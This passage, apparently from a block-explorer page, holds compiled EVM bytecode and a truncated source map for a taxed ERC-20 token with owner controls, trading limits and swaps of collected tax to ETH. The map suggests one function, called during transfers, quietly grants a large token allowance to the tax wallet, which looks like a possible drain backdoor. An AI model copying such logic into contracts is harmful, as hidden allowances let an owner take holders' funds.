60405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107e0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610804919061187e565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108475760405162461bcd60e51b81526004016103d7906116ea565b6108536009600a611813565b610862906461f313f880611821565b600d556108716009600a611813565b610880906461f313f880611821565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e66009600a611813565b6108f5906461f313f880611821565b60405190815260200160405180910390a150565b5f546001600160a01b031633146109325760405162461bcd60e51b81526004016103d7906116ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a35760405162461bcd60e51b81526004016103d7906116ea565b5f47116109ae575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156109d7573d5f803e3d5ffd5b50565b5f6103a4338484610b09565b6001600160a01b038316610a485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d7565b6001600160a01b038216610aa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d7565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d7565b5f8111610c305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d7565b6012545f90600160b01b900460ff161580610c545750601254600160a81b900460ff165b15610d0c576001600160a01b0384165f90815260016020526040902054610c7c90839061189d565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cab9083906118b0565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfe9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3657505f546001600160a01b03848116911614155b156110cf576012546001600160a01b038581169116148015610d6657506011546001600160a01b03848116911614155b8015610d8a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610eef57601254600160a01b900460ff16610de05760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d7565b610e0c6064610e06600954600c5411610dfb57600554610dff565b6007545b859061123b565b906112c0565b9050600d54821115610e605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785242416d6f756e742e0000000000000060448201526064016103d7565b600e5482610e82856001600160a01b03165f9081526001602052604090205490565b610e8c91906118b0565b1115610eda5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b600c8054905f610ee9836118c3565b91905055505b60408051808201909152601254610f44919081906001600160a01b03888116911614610f26576012546001600160a01b0316610f28565b865b6001600160a01b03908116825260045416602090910152611301565b8015610f5e57506012546001600160a01b03848116911614155b8015610f8257506001600160a01b0383165f9081526003602052604090205460ff16155b1561100157600e5482610fa9856001600160a01b03165f9081526001602052604090205490565b610fb391906118b0565b11156110015760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d7565b6012546001600160a01b039081169084160361103f5761103c6064610e06600a54600c541161103257600654610dff565b600854859061123b565b90505b601254600160a81b900460ff1615801561106657506012546001600160a01b038481169116145b801561107b5750601254600160b01b900460ff165b801561108a5750600b54600c54115b156110cf57305f90815260016020526040902054600f548111156110c5576110c56110c0846110bb84601054611362565b611362565b611376565b6110cd6114e6565b505b801561114757305f908152600160205260409020546110ee908261151c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611169908361157a565b6001600160a01b0385165f908152600160205260409020556111ac61118e838361157a565b6001600160a01b0385165f908152600160205260409020549061151c565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f5858561157a565b604051908152602001610cfe565b5f81848411156112265760405162461bcd60e51b81526004016103d791906115e7565b505f611232848661189d565b95945050505050565b5f825f0361124a57505f6103a8565b5f6112558385611821565b90508261126285836118db565b146112b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d7565b9392505050565b5f6112b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bb565b80516020820151600d545f92919061131a9060326118b0565b6113259060326118b0565b6113319061047e611821565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161137057826112b9565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bc576113bc6118fa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611413573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114379190611838565b8160018151811061144a5761144a6118fa565b6001600160a01b03928316602091820292909201015260115461147091309116846109e6565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a89085905f9086903090429060040161190e565b5f604051808303815f87803b1580156114bf575f80fd5b505af11580156114d1573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109d7573d5f803e3d5ffd5b5f8061152883856118b0565b9050838110156112b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d7565b5f6112b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611203565b5f81836115db5760405162461bcd60e51b81526004016103d791906115e7565b505f61123284866118db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109d7575f80fd5b5f8060408385031215611641575f80fd5b823561164c8161161c565b946020939093013593505050565b5f805f6060848603121561166c575f80fd5b83356116778161161c565b925060208401356116878161161c565b929592945050506040919091013590565b5f602082840312156116a8575f80fd5b81356112b98161161c565b5f80604083850312156116c4575f80fd5b82356116cf8161161c565b915060208301356116df8161161c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f82611783575060016103a8565b8161178f57505f6103a8565b81600181146117a557600281146117af576117cb565b60019150506103a8565b60ff8411156117c0576117c061171f565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ee575081810a6103a8565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b960ff841683611775565b80820281158282048414176103a8576103a861171f565b5f60208284031215611848575f80fd5b81516112b98161161c565b5f805f60608486031215611865575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188e575f80fd5b815180151581146112b9575f80fd5b818103818111156103a8576103a861171f565b808201808211156103a8576103a861171f565b5f600182016118d4576118d461171f565b5060010190565b5f826118f557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561195e5784516001600160a01b031683529383019391830191600101611939565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057a27749dde8cc840683285332425d394d6ed502b96e990f3d8d5049e9e2375d64736f6c63430008190033

Deployed Bytecode Sourcemap

3632:7666:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5664:83;;;;;;;;;;-1:-1:-1;5734:5:0;;;;;;;;;;;;-1:-1:-1;;;5734:5:0;;;;5664:83;;;;;;;:::i;:::-;;;;;;;;6796:161;;;;;;;;;;-1:-1:-1;6796:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6796:161:0;893:187:1;5285:373:0;;;;;;;;;;;;;:::i;:::-;;4647:46;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4647:46:0;1085:177:1;5935:95:0;;;;;;;;;;;;;:::i;6479:311::-;;;;;;;;;;-1:-1:-1;6479:311:0;;;;;:::i;:::-;;:::i;10530:472::-;;;;;;;;;;;;;:::i;5846:83::-;;;;;;;;;;-1:-1:-1;5846:83:0;;4291:1;1870:36:1;;1858:2;1843:18;5846:83:0;1728:184:1;11008:249:0;;;;;;;;;;-1:-1:-1;11008:249:0;;;;;:::i;:::-;;:::i;4534:47::-;;;;;;;;;;;;;;;;4480;;;;;;;;;;;;;;;;6036:117;;;;;;;;;;-1:-1:-1;6036:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6129:16:0;6102:7;6129:16;;;:7;:16;;;;;;;6036:117;2627:148;;;;;;;;;;;;;:::i;2417:79::-;;;;;;;;;;-1:-1:-1;2455:7:0;2482:6;2417:79;;-1:-1:-1;;;;;2482:6:0;;;2575:51:1;;2563:2;2548:18;2417:79:0;2429:203:1;5753:87:0;;;;;;;;;;-1:-1:-1;5825:7:0;;;;;;;;;;;;-1:-1:-1;;;5825:7:0;;;;5753:87;;9804:159;;;;;;;;;;;;;:::i;6159:167::-;;;;;;;;;;-1:-1:-1;6159:167:0;;;;;:::i;:::-;;:::i;4588:52::-;;;;;;;;;;;;;;;;6332:141;;;;;;;;;;-1:-1:-1;6332:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6440:16:0;;;6413:7;6440:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6332:141;6796:161;6871:4;6888:39;2080:10;6911:7;6920:6;6888:8;:39::i;:::-;-1:-1:-1;6945:4:0;6796:161;;;;;:::o;5285:373::-;2542:6;;-1:-1:-1;;;;;2542:6:0;2080:10;2542:22;2534:67;;;;-1:-1:-1;;;2534:67:0;;;;;;;:::i;:::-;;;;;;;;;5339:11:::1;:100:::0;;-1:-1:-1;;;;;;5339:100:0::1;5386:42;5339:100:::0;;::::1;::::0;;;5450:54:::1;::::0;5467:4:::1;::::0;4349:15:::1;4291:1;4349:2;:15;:::i;:::-;4334:30;::::0;:12:::1;:30;:::i;:::-;5450:8;:54::i;:::-;5545:11;;;;;;;;;-1:-1:-1::0;;;;;5545:11:0::1;-1:-1:-1::0;;;;;5545:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5527:51:0::1;;5601:4;5621:11;;;;;;;;;-1:-1:-1::0;;;;;5621:11:0::1;-1:-1:-1::0;;;;;5621:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5527:123;::::0;-1:-1:-1;;;;;;5527:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5559:15:1;;;5527:123:0::1;::::0;::::1;5541:34:1::0;5611:15;;5591:18;;;5584:43;5476:18;;5527:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5515:9;:135:::0;;-1:-1:-1;;;;;;5515:135:0::1;-1:-1:-1::0;;;;;5515:135:0;;;::::1;::::0;;;::::1;::::0;;5285:373::o;5935:95::-;5988:7;4349:15;4291:1;4349:2;:15;:::i;:::-;4334:30;;:12;:30;:::i;:::-;6008:14;;5935:95;:::o;6479:311::-;6577:4;6594:36;6604:6;6612:9;6623:6;6594:9;:36::i;:::-;6641:119;6650:6;2080:10;6672:87;6708:6;6672:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6672:17:0;;;;;;:9;:17;;;;;;;;2080:10;6672:31;;;;;;;;;;:35;:87::i;6641:119::-;-1:-1:-1;6778:4:0;6479:311;;;;;:::o;10530:472::-;2542:6;;-1:-1:-1;;;;;2542:6:0;2080:10;2542:22;2534:67;;;;-1:-1:-1;;;2534:67:0;;;;;;;:::i;:::-;10593:11:::1;::::0;-1:-1:-1;;;10593:11:0;::::1;;;10592:12;10584:48;;;::::0;-1:-1:-1;;;10584:48:0;;5840:2:1;10584:48:0::1;::::0;::::1;5822:21:1::0;5879:2;5859:18;;;5852:30;5918:25;5898:18;;;5891:53;5961:18;;10584:48:0::1;5638:347:1::0;10584:48:0::1;10643:11;::::0;-1:-1:-1;;;;;10643:11:0::1;:27;10678:21;10723:4;10743:24;10723:4:::0;-1:-1:-1;;;;;6129:16:0;6102:7;6129:16;;;:7;:16;;;;;;;6036:117;10743:24:::1;10782:1;10798::::0;10814:7:::1;2455::::0;2482:6;-1:-1:-1;;;;;2482:6:0;;2417:79;10814:7:::1;10643:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10643:219:0;;;-1:-1:-1;;;;;6349:15:1;;;10643:219:0::1;::::0;::::1;6331:34:1::0;6381:18;;;6374:34;;;;6424:18;;;6417:34;;;;6467:18;;;6460:34;6531:15;;;6510:19;;;6503:44;10836:15:0::1;6563:19:1::0;;;6556:35;6265:19;;10643:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10880:9:0::1;::::0;10907:11:::1;::::0;10873:63:::1;::::0;-1:-1:-1;;;10873:63:0;;-1:-1:-1;;;;;10907:11:0;;::::1;10873:63;::::0;::::1;7087:51:1::0;-1:-1:-1;;7154:18:1;;;7147:34;10880:9:0;::::1;::::0;-1:-1:-1;10873:25:0::1;::::0;7060:18:1;;10873:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10947:11:0::1;:18:::0;;-1:-1:-1;;;;10976:18:0;-1:-1:-1;;;10976:18:0;;;10530:472::o;11008:249::-;2542:6;;-1:-1:-1;;;;;2542:6:0;2080:10;2542:22;2534:67;;;;-1:-1:-1;;;2534:67:0;;;;;;;:::i;:::-;4349:15:::1;4291:1;4349:2;:15;:::i;:::-;4334:30;::::0;:12:::1;:30;:::i;:::-;11082:12;:20:::0;4349:15:::1;4291:1;4349:2;:15;:::i;:::-;4334:30;::::0;:12:::1;:30;:::i;:::-;11114:12;:20:::0;11145:11:::1;:19:::0;;-1:-1:-1;;;;;;11145:19:0::1;-1:-1:-1::0;;;;;11145:19:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;11176:23:0;;;:16:::1;:23;::::0;;;;:30;;-1:-1:-1;;11176:30:0::1;-1:-1:-1::0;11176:30:0::1;::::0;;11222:27:::1;4349:15;4291:1;-1:-1:-1::0;4349:15:0::1;:::i;:::-;4334:30;::::0;:12:::1;:30;:::i;:::-;11222:27;::::0;1231:25:1;;;1219:2;1204:18;11222:27:0::1;;;;;;;11008:249:::0;:::o;2627:148::-;2542:6;;-1:-1:-1;;;;;2542:6:0;2080:10;2542:22;2534:67;;;;-1:-1:-1;;;2534:67:0;;;;;;;:::i;:::-;2734:1:::1;2718:6:::0;;2697:40:::1;::::0;-1:-1:-1;;;;;2718:6:0;;::::1;::::0;2697:40:::1;::::0;2734:1;;2697:40:::1;2765:1;2748:19:::0;;-1:-1:-1;;;;;;2748:19:0::1;::::0;;2627:148::o;9804:159::-;2542:6;;-1:-1:-1;;;;;2542:6:0;2080:10;2542:22;2534:67;;;;-1:-1:-1;;;2534:67:0;;;;;;;:::i;:::-;9889:1:::1;9865:21;:25;9857:34;;;::::0;::::1;;9902:53;::::0;2080:10;;9933:21:::1;9902:53:::0;::::1;;;::::0;::::1;::::0;;;9933:21;2080:10;9902:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9804:159::o:0;6159:167::-;6237:4;6254:42;2080:10;6278:9;6289:6;6254:9;:42::i;6963:333::-;-1:-1:-1;;;;;7056:19:0;;7048:68;;;;-1:-1:-1;;;7048:68:0;;7676:2:1;7048:68:0;;;7658:21:1;7715:2;7695:18;;;7688:30;7754:34;7734:18;;;7727:62;-1:-1:-1;;;7805:18:1;;;7798:34;7849:19;;7048:68:0;7474:400:1;7048:68:0;-1:-1:-1;;;;;7135:21:0;;7127:68;;;;-1:-1:-1;;;7127:68:0;;8081:2:1;7127:68:0;;;8063:21:1;8120:2;8100:18;;;8093:30;8159:34;8139:18;;;8132:62;-1:-1:-1;;;8210:18:1;;;8203:32;8252:19;;7127:68:0;7879:398:1;7127:68:0;-1:-1:-1;;;;;7206:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7256:32;;1231:25:1;;;7256:32:0;;1204:18:1;7256:32:0;;;;;;;6963:333;;;:::o;7302:2182::-;-1:-1:-1;;;;;7390:18:0;;7382:68;;;;-1:-1:-1;;;7382:68:0;;8484:2:1;7382:68:0;;;8466:21:1;8523:2;8503:18;;;8496:30;8562:34;8542:18;;;8535:62;-1:-1:-1;;;8613:18:1;;;8606:35;8658:19;;7382:68:0;8282:401:1;7382:68:0;-1:-1:-1;;;;;7469:16:0;;7461:64;;;;-1:-1:-1;;;7461:64:0;;8890:2:1;7461:64:0;;;8872:21:1;8929:2;8909:18;;;8902:30;8968:34;8948:18;;;8941:62;-1:-1:-1;;;9019:18:1;;;9012:33;9062:19;;7461:64:0;8688:399:1;7461:64:0;7553:1;7544:6;:10;7536:64;;;;-1:-1:-1;;;7536:64:0;;9294:2:1;7536:64:0;;;9276:21:1;9333:2;9313:18;;;9306:30;9372:34;9352:18;;;9345:62;-1:-1:-1;;;9423:18:1;;;9416:39;9472:19;;7536:64:0;9092:405:1;7536:64:0;7646:11;;7611:17;;-1:-1:-1;;;7646:11:0;;;;7645:12;;:22;;-1:-1:-1;7661:6:0;;-1:-1:-1;;;7661:6:0;;;;7645:22;7641:209;;;-1:-1:-1;;;;;7700:13:0;;;;;;:7;:13;;;;;;:22;;7716:6;;7700:22;:::i;:::-;-1:-1:-1;;;;;7684:13:0;;;;;;;:7;:13;;;;;;:38;;;;7751:11;;;;;;;:20;;7765:6;;7751:20;:::i;:::-;-1:-1:-1;;;;;7737:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7791:26;;;;;;;;;;7810:6;1231:25:1;;1219:2;1204:18;;1085:177;7791:26:0;;;;;;;;7832:7;7302:2182;;;:::o;7641:209::-;2455:7;2482:6;-1:-1:-1;;;;;7864:15:0;;;2482:6;;7864:15;;;;:32;;-1:-1:-1;2455:7:0;2482:6;-1:-1:-1;;;;;7883:13:0;;;2482:6;;7883:13;;7864:32;7860:1282;;;7925:9;;-1:-1:-1;;;;;7917:17:0;;;7925:9;;7917:17;:47;;;;-1:-1:-1;7952:11:0;;-1:-1:-1;;;;;7938:26:0;;;7952:11;;7938:26;;7917:47;:73;;;;-1:-1:-1;;;;;;7970:20:0;;;;;;:16;:20;;;;;;;;7968:22;7917:73;7913:472;;;8020:11;;-1:-1:-1;;;8020:11:0;;;;8012:44;;;;-1:-1:-1;;;8012:44:0;;9967:2:1;8012:44:0;;;9949:21:1;10006:2;9986:18;;;9979:30;-1:-1:-1;;;10025:18:1;;;10018:51;10086:18;;8012:44:0;9765:345:1;8012:44:0;8087:76;8159:3;8087:67;8109:15;;8099:9;;:25;8098:55;;8139:14;;8098:55;;;8126:12;;8098:55;8087:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8075:88;;8200:12;;8190:6;:22;;8182:60;;;;-1:-1:-1;;;8182:60:0;;10317:2:1;8182:60:0;;;10299:21:1;10356:2;10336:18;;;10329:30;10395:27;10375:18;;;10368:55;10440:18;;8182:60:0;10115:349:1;8182:60:0;8295:12;;8285:6;8269:13;8279:2;-1:-1:-1;;;;;6129:16:0;6102:7;6129:16;;;:7;:16;;;;;;;6036:117;8269:13;:22;;;;:::i;:::-;:38;;8261:77;;;;-1:-1:-1;;;8261:77:0;;10671:2:1;8261:77:0;;;10653:21:1;10710:2;10690:18;;;10683:30;10749:28;10729:18;;;10722:56;10795:18;;8261:77:0;10469:350:1;8261:77:0;8357:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7913:472;8403:53;;;;;;;;;8417:9;;8403:53;;;;;-1:-1:-1;;;;;8411:15:0;;;8417:9;;8411:15;:30;;8432:9;;-1:-1:-1;;;;;8432:9:0;8411:30;;;8427:4;8411:30;-1:-1:-1;;;;;8403:53:0;;;;;8443:11;;;8403:53;;;;;:6;:53::i;:::-;:72;;;;-1:-1:-1;8466:9:0;;-1:-1:-1;;;;;8460:15:0;;;8466:9;;8460:15;;8403:72;:98;;;;-1:-1:-1;;;;;;8481:20:0;;;;;;:16;:20;;;;;;;;8479:22;8403:98;8399:216;;;8556:12;;8546:6;8530:13;8540:2;-1:-1:-1;;;;;6129:16:0;6102:7;6129:16;;;:7;:16;;;;;;;6036:117;8530:13;:22;;;;:::i;:::-;:38;;8522:77;;;;-1:-1:-1;;;8522:77:0;;10671:2:1;8522:77:0;;;10653:21:1;10710:2;10690:18;;;10683:30;10749:28;10729:18;;;10722:56;10795:18;;8522:77:0;10469:350:1;8522:77:0;8638:9;;-1:-1:-1;;;;;8638:9:0;;;8632:15;;;;8629:146;;8680:79;8755:3;8680:70;8702:16;;8692:9;;:26;8691:58;;8734:15;;8691:58;;;8720:13;;8680:6;;:10;:70::i;:79::-;8668:91;;8629:146;8794:6;;-1:-1:-1;;;8794:6:0;;;;8793:7;:26;;;;-1:-1:-1;8810:9:0;;-1:-1:-1;;;;;8804:15:0;;;8810:9;;8804:15;8793:26;:41;;;;-1:-1:-1;8823:11:0;;-1:-1:-1;;;8823:11:0;;;;8793:41;:73;;;;;8848:18;;8838:9;;:28;8793:73;8789:342;;;8936:4;8887:28;6129:16;;;:7;:16;;;;;;8985:17;;8964:38;;8961:125;;;9025:61;9036:49;9040:6;9047:37;9051:20;9072:11;;9047:3;:37::i;:::-;9036:3;:49::i;:::-;9025:10;:61::i;:::-;9105:10;:8;:10::i;:::-;8868:263;8789:342;9155:11;;9152:157;;9219:4;9203:22;;;;:7;:22;;;;;;:37;;9230:9;9203:26;:37::i;:::-;9196:4;9180:22;;;;:7;:22;;;;;;;:60;;;;9258:39;;-1:-1:-1;;;;;9258:39:0;;;;;;;9287:9;1231:25:1;;1219:2;1204:18;;1085:177;9258:39:0;;;;;;;;9152:157;-1:-1:-1;;;;;9333:13:0;;;;;;:7;:13;;;;;;:25;;9351:6;9333:17;:25::i;:::-;-1:-1:-1;;;;;9319:13:0;;;;;;:7;:13;;;;;:39;9381:38;9397:21;:6;9408:9;9397:10;:21::i;:::-;-1:-1:-1;;;;;9381:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9369:11:0;;;;;;;:7;:11;;;;;:50;;;;9435:41;;;9454:21;:6;9465:9;9454:10;:21::i;:::-;9435:41;;1231:25:1;;;1219:2;1204:18;9435:41:0;1085:177:1;1187:190:0;1273:7;1309:12;1301:6;;;;1293:29;;;;-1:-1:-1;;;1293:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1333:9:0;1345:5;1349:1;1345;:5;:::i;:::-;1333:17;1187:190;-1:-1:-1;;;;;1187:190:0:o;1383:246::-;1441:7;1465:1;1470;1465:6;1461:47;;-1:-1:-1;1495:1:0;1488:8;;1461:47;1518:9;1530:5;1534:1;1530;:5;:::i;:::-;1518:17;-1:-1:-1;1563:1:0;1554:5;1558:1;1518:17;1554:5;:::i;:::-;:10;1546:56;;;;-1:-1:-1;;;1546:56:0;;11388:2:1;1546:56:0;;;11370:21:1;11427:2;11407:18;;;11400:30;11466:34;11446:18;;;11439:62;-1:-1:-1;;;11517:18:1;;;11510:31;11558:19;;1546:56:0;11186:397:1;1546:56:0;1620:1;1383:246;-1:-1:-1;;;1383:246:0:o;1635:132::-;1693:7;1720:39;1724:1;1727;1720:39;;;;;;;;;;;;;;;;;:3;:39::i;9586:212::-;9673:7;;;9697;;;9741:12;;9642:4;;9673:7;9697;9738:15;;:2;:15;:::i;:::-;:18;;9754:2;9738:18;:::i;:::-;9737:31;;9759:8;9737:31;:::i;:::-;-1:-1:-1;;;;;9715:15:0;;;;;;;:9;:15;;;;;;;;:21;;;;;;;;;;;;;:53;-1:-1:-1;9786:4:0;;9586:212;-1:-1:-1;9586:212:0:o;10425:99::-;10481:7;10510:1;10508;:3;10507:9;;10515:1;10507:9;;;-1:-1:-1;10513:1:0;10425:99;-1:-1:-1;10425:99:0:o;9969:450::-;4947:6;:13;;-1:-1:-1;;;;4947:13:0;-1:-1:-1;;;4947:13:0;;;10060:16:::1;::::0;;10074:1:::1;10060:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10060:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10060:16:0::1;10036:40;;10105:4;10087;10092:1;10087:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10087:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10131:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10131:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10087:7;;10131:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10121:4;10126:1;10121:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10121:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10192:11:::1;::::0;10160:53:::1;::::0;10177:4:::1;::::0;10192:11:::1;10206:6:::0;10160:8:::1;:53::i;:::-;10224:11;::::0;:187:::1;::::0;-1:-1:-1;;;10224:187:0;;-1:-1:-1;;;;;10224:11:0;;::::1;::::0;:62:::1;::::0;:187:::1;::::0;10301:6;;10224:11:::1;::::0;10338:4;;10365::::1;::::0;10385:15:::1;::::0;10224:187:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4983:6:0;:14;;-1:-1:-1;;;;4983:14:0;;;-1:-1:-1;;;;9969:450:0:o;9490:90::-;9529:11;;:43;;-1:-1:-1;;;;;9529:11:0;;;;9550:21;9529:43;;;;;:11;:43;:11;:43;9550:21;9529:11;:43;;;;;;;;;;;;;;;;;;;860:179;918:7;;950:5;954:1;950;:5;:::i;:::-;938:17;;979:1;974;:6;;966:46;;;;-1:-1:-1;;;966:46:0;;13039:2:1;966:46:0;;;13021:21:1;13078:2;13058:18;;;13051:30;13117:29;13097:18;;;13090:57;13164:18;;966:46:0;12837:351:1;1045:136:0;1103:7;1130:43;1134:1;1137;1130:43;;;;;;;;;;;;;;;;;:3;:43::i;1773:189::-;1859:7;1894:12;1887:5;1879:28;;;;-1:-1:-1;;;1879:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1918:9:0;1930:5;1934:1;1930;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:255::-;1984:6;2037:2;2025:9;2016:7;2012:23;2008:32;2005:52;;;2053:1;2050;2043:12;2005:52;2092:9;2079:23;2111:31;2136:5;2111:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:356::-;3232:2;3214:21;;;3251:18;;;3244:30;3310:34;3305:2;3290:18;;3283:62;3377:2;3362:18;;3030:356::o;3391:127::-;3452:10;3447:3;3443:20;3440